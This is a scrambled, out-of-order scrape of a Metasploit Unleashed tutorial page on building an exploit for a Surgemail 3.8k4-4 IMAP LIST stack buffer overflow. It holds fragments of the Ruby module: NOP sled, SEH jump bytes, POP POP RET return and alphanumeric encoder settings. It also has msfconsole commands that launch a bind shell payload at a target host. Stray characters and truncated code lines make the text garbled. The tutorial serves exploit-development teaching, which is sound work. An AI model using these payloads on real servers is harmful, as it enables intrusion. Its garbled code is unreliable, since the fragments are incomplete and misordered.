Authenticating as test with password test.Įxecuting our NOPSLED | Metasploit Unleashed Yes! Now let’s run the exploit attaching the debugger to the surgemail.exe process to see if the offset to overwrite SEH is correct: msfconsole -q -x "use exploit/windows/imap/surgemail_list set PAYLOAD windows/shell/bind_tcp set RHOST 172.16.30.7 set IMAPPWD test set IMAPUSER test run exit -y" Now we check for the server version: msf exploit( surgemail_list) > check Some of the options are already configured from our previous session (see IMAPPASS, IMAPUSER and RHOST for example). Payload options (windows/shell/bind_tcp):ĮXITFUNC thread yes Exit technique: seh, thread, processĠ Windows Universal Testing our Exploit Module IMAPUSER test no The username to authenticate as IMAPPASS test no The password for the specified username
Name Current Setting Required Description Msf exploit( surgemail_list) > show options Windows/imap/surgemail_list Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow Searching loaded modules for pattern 'surgemail'. Let’s see if it works: msf > search surgemail We defined a check function which can check the IMAP server banner in order to identify a vulnerable server and an exploit function that obviously is the one that does most of the work.We defined our 3 bytes POP POP RET return address that will be then referenced through the target.ret variable.We set the default encoder to the AlphanumMixed because of the nature of the IMAP protocol.We defined the maximum space for the shellcode (Space => 10351) and set the DisableNops feature to disable the automatic shellcode padding, we’ll pad the payload on our own.The most important things to notice in the previous exploit code are the following: Njump = "\圎9\xDD\xD7\xFF\xFF" # And Back Again Baby )Įvil = nopes + payload.encoded + njump + sjump +. Nopes = "\x90"*(payload_) # to be fixed with make_nops() If (banner and banner =~ /(Version 3.8k4-4)/) 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, Version 3.8k4-4 by sending an overly long LIST command. This module exploits a stack overflow in the Surgemail IMAP Server 'Name' => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow', # Framework web site for more information on licensing and terms of use. # redistribution and commercial restrictions. # This file is part of the Metasploit Framework and may be subject to Let’s take a look at our new exploit module below: # With what we have learned, we write the exploit and save it to windows/imap/surgemail_list.rb. Security Operations for Beginners (SOC-100).Exploit Development Prerequisites (EXP-100).
0 kommentar(er)
